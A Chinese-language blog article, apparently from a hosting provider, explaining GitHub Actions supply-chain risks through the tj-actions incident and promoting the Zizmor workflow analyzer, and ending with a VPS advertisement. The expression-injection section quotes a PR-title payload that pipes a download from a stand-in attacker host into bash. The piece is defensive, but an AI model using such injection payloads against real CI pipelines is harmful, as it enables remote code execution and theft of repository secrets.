GitHub Actions 從 2019 年上線到現在,YAML 裡的 ${{ }} 表達式一直維持著幾乎沒有隔離的語意——寫在 run: 區塊裡的表達式會在 shell 展開前被字面代換進去,攻擊者只要能塞控制字元就能取得 runner 的完整權限。這個設計缺陷在 2025 年 3 月的 tj-actions/changed-files 事件中被放大到極致:一個被拉去用來偵測 file diff 的 Action,透過被竊取的 PAT 改寫所有版本 tag,最後汙染範圍超過 23,000 個 repo。Zizmor 是社群這一年多以來補位的答案,一支 Rust 寫的靜態分析器,專門攔截這類 CI/CD 攻擊面。
Zizmor 從 2024 年底的初版到 2026 年中的 1.26.x 已經累積 38 條 audit rule,涵蓋範圍從表達式注入、excessive permissions、cache poisoning 一路到 impostor commit 跟 typosquatting。到今年 6 月為止,官方 trophy case 收錄超過 500 個導入專案,包含 CPython、cURL、PyPI、Rust、Sigstore、Apache、Mozilla、Google 內部 repo。Trail of Bits 在 5 月完成對分析器本身的稽核,20 個 issue 中合併了 15 個 PR,其中多半是 YAML anchor 解析的邊界情況。
tj-actions 事件把 tag 可變性暴露到明面上
事件本身的技術路徑並不複雜,值得記住的是它證明了 GitHub Actions 生態系裡兩個長期被當成慣例的東西完全靠不住。一是 tag pinning——絕大多數 workflow 引用第三方 action 都是寫成 @v45 或 @main,這種寫法讓 tag 指向哪個 commit 完全由發佈者的 GitHub 帳號控管。二是 log 保護——GitHub 內建的 secret masking 只會遮蔽 workflow 本身宣告的 secret,Runner 記憶體裡其他形式的 credential(比如透過 OIDC token 換出來的短期 AWS key)並不在保護範圍內。
攻擊者拿到 @tj-actions-bot 的 PAT 之後,把 v1 到 v45 幾十個歷史 tag 全部重寫指向一個新的惡意 commit。這個 commit 在 Node 入口點裡塞了一段 base64,解碼後跑 Python 掃 runner 的 process memory,把 AWS key、npm token、PAT、SSH private key 逐項 dump 進 workflow log。整個作用鏈裡沒有一步是被視為異常操作——CI/CD 平臺沒有阻擋 tag rewrite、runner 沒有阻擋讀取自己的 process memory、workflow log 對 public repo 預設可讀。
CISA 在 3 月 18 日發布緊急通告,同時串起另一個更早的 reviewdog/action-setup 事件——v1 tag 早在 3 月 11 日就被同一組手法汙染過,只是當時流量小到沒進入視野。反覆同一組攻擊手法能連續得手兩次,說明業界對 CI/CD 供應鏈的偵測基本上還是空白。
表達式注入是 GitHub Actions 從設計上就沒補的洞
${{ github.event.issue.title }} 這類語法在 workflow YAML 裡看起來就是普通變數。但 Actions 的執行模型是:YAML 檔案在 job dispatch 時會被解析,${{ }} 內的表達式先在調度階段 evaluate 出結果,然後把結果字面替換進 run: 的 shell 腳本,最後才送給 bash 執行。這代表任何 attacker-controlled 的字串——issue title、PR body、branch name、commit message、review comment——只要進到表達式裡就直接變成 shell 語法。
一個典型的洞是這樣:
1 | - name: Print PR title |
一個外部貢獻者開的 PR 只要把 title 寫成 foo"; curl attacker.example/x | bash; #,就能在 runner 上取得任意程式碼執行權限。要是這個 workflow 用 pull_request_target 觸發(很多人為了讓 fork PR 可以讀 secret 而這樣寫),那 runner 上會有寫入 base repo 的 GITHUB_TOKEN,等於 fork 一個 PR 就能改主 repo 的 code。
這個問題 GitHub Security 團隊自己在 2024 年就承認是設計層級的缺陷,但因為 breaking change 太大而遲遲沒動核心語意。中間的緩衝是文件層級的建議——用環境變數把 untrusted input 中繼一次,env: PR_TITLE: ${{ github.event.pull_request.title }} 再在 shell 裡用 "$PR_TITLE"。問題是這個建議完全依賴開發者記得,實務上根本擋不住量產寫法。
Zizmor 的 template-injection 規則就是專門為此設計。它會爬過 run: 區塊裡每一個 ${{ }},比對表達式參照的 context 是否落在已知的 untrusted 清單(github.event.* 底下大部分欄位、github.head_ref、inputs.* 在特定觸發器下),如果落在裡面就標為 finding,並建議改寫成 env 中繼的模式。整個規則不需要跑 workflow,只讀 YAML,一秒內能掃完幾十個檔案。
38 條規則把 CI/CD 攻擊面拆成可稽核的維度
Zizmor 的規則集大致分成幾個群組。表達式與觸發器這一塊除了 template-injection 之外還有 dangerous-triggers——專門攔截 pull_request_target 和 workflow_run 這種在 base repo 權限下執行的觸發器,因為這兩個是絕大多數 GitHub Actions 供應鏈攻擊的入口。bot-conditions 則盯著 github.actor == 'dependabot[bot]' 這種基於 actor 名稱的判斷——這個欄位可以被 spoof,正確做法要看 event payload 裡的 user login。
權限與機密這一組包含 excessive-permissions(token scope 過大或宣告 none 反而取得預設全域)、overprovisioned-secrets(secrets.* 整包灌進 job env)、secrets-inherit(reusable workflow 宣告 secrets: inherit 讓上游拿走整批機密)、unredacted-secrets(機密沒過 mask 就寫進 log)、hardcoded-container-credentials(Docker registry 密碼寫死在 YAML 裡)。這幾條在 tj-actions 事件後被寫進 GitHub Advanced Security 的預設稽核,因為攻擊者能拉出來的東西直接取決於 token 的作用範圍。
引用完整性這組是後續反 supply chain 攻擊的重點。unpinned-uses 攔任何非 SHA 的 @ 引用,這條規則在 1.24 版之後支援 auto-fix——Zizmor 會自動查詢 tag 對應的 commit SHA 並改寫 YAML。impostor-commit 專門看那些 SHA 雖然存在但只出現在 fork 裡的引用,這是攻擊者常用來偽裝合法 commit 的手法。typosquat-uses 比對 owner 名稱跟熱門 action 的相似度,archived-uses 則盯著已封存的 repo——這種 repo 不會再發資安更新,繼續引用等於接受無限期的 known-good 假設。
Cache 與環境毒化這組稍微冷門但很致命。cache-poisoning 追 release workflow 是否會把 build state 寫進 GitHub Actions cache——因為 cache key 由 branch 決定,如果攻擊者能在 fork 上跑同一個 workflow 就有機會把汙染過的 build cache 塞回 base branch。github-env 追那些對 GITHUB_ENV/GITHUB_PATH 寫入的動作,這兩個檔案在 downstream step 會被當成環境變數展開,形同 late-binding 的 shell 注入。
還有幾條規則設計上偏 pedantic——anonymous-definition(workflow 沒寫 name:)、undocumented-permissions(每個 permission 沒附註解說明理由)——預設關閉,只有在跑 --pedantic 時才會出。這是 Zizmor 少見的取捨:作者明確拒絕把 noise 打進預設輸出,也不接受 severity 從 warn 降到 info 就當成 opt-out。
導入實務:Docker 一行或 GitHub Action 三行
Zizmor 在自架 CI 環境的導入路徑很短,因為它就是一支 Rust binary,沒有 daemon、沒有 DB。最直接的方式是拉官方 Docker image 掃單一 workflow:
1 | docker run --rm -v $(pwd):/repo ghcr.io/zizmorcore/zizmor:latest \ |
要在 CI 裡跑就用官方提供的 zizmor-action:
1 | - uses: zizmorcore/[email protected] |
輸出格式有 plain、sarif、json 三種。SARIF 是 GitHub Advanced Security 認的格式,直接上傳就能在 repo 的 Security 分頁看到每個 finding 的檔案位置、規則說明、建議修法。這一段是 Zizmor 相對於其他 shell script 型 linter(比如 actionlint)的關鍵優勢——findings 進 native GitHub UI,開發者不必離開瀏覽器就能追蹤。
Auto-fix 目前主要支援 unpinned-uses。跑 zizmor --fix pin-uses --fix-mode=in-place .github/workflows,工具會查每一個 uses: 的 tag 對應 SHA,改寫成 @sha # v1.2.3 這種 SHA-pinned 加註解的格式。這個註解在後續 diff review 時能讓人快速看出實際的版本,不會變成一坨無法追蹤的 hex。要注意 auto-fix 不會處理反覆改寫(比如 tag 被重指到新 SHA 之後),這種情況得靠 Dependabot 或 Renovate 開 bump PR。
規則自訂走 zizmor.yml 設定檔,可以針對特定 finding 加豁免(比如 github.event.pull_request.number 是純數字,不用擔心注入),也可以透過 forbidden-uses 建立 allowlist——限定 workflow 只能用經過內部審核的 action 名單,這個在企業內部有合規需求時特別實用。
為什麼寫 Rust 這件事不只是速度
Zizmor 選 Rust 除了跑得快之外還有一個實用理由:分發簡單。整個 binary 靜態編譯後可以直接放進任何 CI runner,包括 self-hosted 環境。相較之下,用 Python 或 Node 寫的 lint 工具都得處理 runtime 版本、pip 相依、npm 快取這一整套包袱,在 self-hosted runner 上尤其麻煩。Rust binary 直接下載執行,加上 --frozen/--locked 這種可重現的相依鎖定,讓 supply chain 這條路上少一個環節。
實測在中等大小 monorepo(~200 個 workflow 檔案)上,Zizmor 冷跑約 1.5 秒完成,熱跑則是毫秒級。作者刻意把 YAML 解析寫成 zero-copy,並在 rule engine 裡共享 AST,這使得同一個 finding 在多條規則觸發時不會重複解析。整體效能相對於 pre-commit hook 或 pull request check 都完全塞得下。
比較常見的整合模式是雙層防線:pre-commit 跑 zizmor .github/workflows 攔住基本問題(表達式注入、excessive permissions、unpinned uses),CI 端跑完整規則集加 SARIF 上傳,讓 finding 進 Security 分頁做 assign 跟 dismiss 的追蹤。這個組合下開發者的 loop 很短——寫 workflow 時就會被擋,PR 開出來會看到具體的 line-level annotation,資安團隊有全 repo 的 dashboard 可以稽核。
這種工具解決的問題跟沒解決的問題
Zizmor 是靜態分析器,能檢查的只有 YAML 本身跟引用的 action 版本。真正的 runtime 行為——action 執行時到底連了哪些外部網域、寫入了哪些檔案、有沒有 fetch 額外程式碼——它看不到。這一層要靠 StepSecurity 的 Harden-Runner 或類似的 eBPF 監控工具補上。這兩者的分工很清楚:Zizmor 攔的是配置錯誤,Harden-Runner 攔的是 runtime 異常。
另外,Zizmor 對第三方 action 的內部邏輯完全不做分析,只看引用方式。一個 uses: bad-actor/malicious@sha-of-hell 只要 SHA-pin 過就不會被 unpinned-uses 抓到,即使裡頭寫滿 dump credential 的 Node code。這是 action 生態系結構性問題——目前唯一的緩解是 forbidden-uses 建立內部 allowlist,配合 fork 到內部 org 做 review。
還有一個常被忽略的角度:Zizmor 本身也是第三方 dependency。導入的時候至少要 SHA-pin zizmor-action,並打開 Dependabot 追蹤更新。這一步很多人省略,結果就變成用一個未 pin 的 security scanner 去掃自己 workflow 的 pinning——邏輯上完全站不住腳。
結論
GitHub Actions 這幾年成了實質上的 CI/CD 事實標準,但語意層的攻擊面(表達式注入、tag 可變性、excessive permissions)從一開始就沒被平臺方認真補上。tj-actions 事件之後產業終於承認社群工具不能只是 shell script 起家的 linter,Zizmor 這種認真設計的 Rust 靜態分析器補上了那條線,也順勢變成新專案的預設稽核工具。導入成本近乎為零,收益是把整組已知攻擊模式擋在 PR 階段——這種投報比在資安工具裡並不常見。
在自架 VPS 或內部 CI 環境上跑 GitHub Actions 相容 workflow(Gitea、Forgejo、self-hosted GitHub runner)的團隊,導入 Zizmor 的邊際成本一樣低,也一樣有效——所有規則不依賴 GitHub API,純粹是 YAML 靜態分析。NCSE Network 提供臺灣機房的高效能 VPS,適合部署 self-hosted GitHub runner、Forgejo 或 Gitea 等 CI/CD 平臺,搭配像 Zizmor 這類靜態分析工具構築完整的 DevSecOps 流程。詳情可參考 NCSE Network 官網。